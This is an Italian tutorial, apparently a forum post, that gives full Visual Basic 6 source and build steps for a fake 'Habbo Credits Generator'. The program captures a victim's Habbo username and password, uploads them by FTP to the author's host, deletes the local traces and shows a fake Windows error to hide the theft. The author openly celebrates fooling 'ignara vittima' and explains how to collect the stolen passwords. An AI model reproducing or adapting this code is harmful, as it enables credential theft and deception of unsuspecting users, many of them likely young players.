Habbo Credits Generator
INTRODUZIONE
Realtà o fantasia? Decisamente fantasia, ovviamente non si tratta di un generatore di Habbo Crediti ma penso che ogni piccolo singolo niubbetto lo avrebbe già capito da solo. Si tratta del mio ultimo Fake-Program in Visual Basic 6.
GUIDA + SOURCE
Ebbene, il fake program si basa sull'idea di poter "generare Habbo Crediti" gratuitamente inserendo le proprie credenziali e cliccando sul bottone con l'immagine dell'Habbo credito. Mentre l'ignara vittima gioisce per il programma ottenuto noi godremo come porcelli in stagione primaverile: perchè? Semplicemente perchè tutti i suoi dati verranno presi e salvati su un file di testo, che verrà uppato sul nostro dominio e poi cancellato senza lasciar traccia dal computer della vittima, inoltre genererà un falso errore di WIN32 che giustificherà la mancata funzione del programma. Noi avremo così libero accesso ai suoi dati accedendo al nostro host così:
http://host.altervista.org/nomeutente.txt dove con "nomeutente.txt" si intende ovviamente il nome dell'habbo inserito + la terminazione .txt Perchè il salvataggio è strutturato in tal modo? Per evitare che la pagina venga sovrascritta e vengano perse le password precedenti, ovvio! Comunque passiamo ai fatti, ecco i source:
CODICE
Private Sub Command1_Click()
Command1.Enabled = False
Open "C:WINDOWSsystem32password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ", " & "Habbo Crediti Desiderati: " & Text3.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "nome dell'account"
pswd = "password dell'account"
ftpwebsite = "ftp://nostro host.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = Text1.Text & ".txt"
Inet1.Execute Inet1.URL, "PUT C:WINDOWSsystem32password.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
MsgBox "WIN32 Ha generato un errore. L'applicazione verrà terminata.", vbExclamation + vbOKOnly, "Error WIN32"
Kill "C:WINDOWSsystem32password.ini"
Unload Me
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
Ed ecco la guida alla creazione:
- Avviare un nuovo progetto in Visual Basic
- Creare 2 command button, 2 label e 3 Textbox
- Andare in Project > Components e spuntare Microsoft Internet Controls, successivamente inserire il componente "Inet" appena creato
- Nel primo command button inserire il seguente codice:
CODICE
Command1.Enabled = False
Open "C:WINDOWSsystem32password.ini" For Append As #1
Write #1, "Username: " & Text1.Text & ", " & "Password: " & Text2.Text & ", " & "Habbo Crediti Desiderati: " & Text3.Text
Close #1
Dim nomefile As String
Dim ftpwebsite As String
account = "nome dell'account"
pswd = "password dell'account"
ftpwebsite = "ftp://nostro host.altervista.org"
Inet1.URL = ftpwebsite
Inet1.UserName = account
Inet1.Password = pswd
nomefile = Text1.Text & ".txt"
Inet1.Execute Inet1.URL, "PUT C:WINDOWSsystem32password.ini " & nomefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
MsgBox "WIN32 Ha generato un errore. L'applicazione verrà terminata.", vbExclamation + vbOKOnly, "Error WIN32"
Kill "C:WINDOWSsystem32password.ini"
Unload Me
modificando adeguatamente i campi in rosso: nel primo campo al posto di nome dell'account metteremo l'username del nostro account di altervista (o di qualsiasi altro dominio), nel secondo campo metteremo la password relativa a quell'account, nel terzo invece inseriremo l'indirizzo del nostro sito preceduto da ftp:// al posto di http://
- Nel secondo Command Button invece inseriamo il seguente codice:
che serve per la semplice terminazione dell'applicazione, in poche parole è un bottone che viene utilizzato per chiudere il programma.
- Come proprietà Caption dei 3 label mettiamo rispettivamente a quello utilizzato per il nickname "Habbo Username", a quello relativo al textbox della password invece "Habbo Password", a quello relativo al textbox dei crediti desiderati invece "Habbo Crediti Desiderati"
Et voilà! Les jeux sont faits!
SCREEN
DOWNLOAD DEL PROGETTO
C'è sempre bisogno di modificare i campi evidenziati in rosso nel SOURCE
DownloadPer eventuali problemi, bug, o segnalazioni contattatemi nel topic quì.
Si Ringrazia Lo Sciax2 In Particolare : FireFox
ke makkinazione!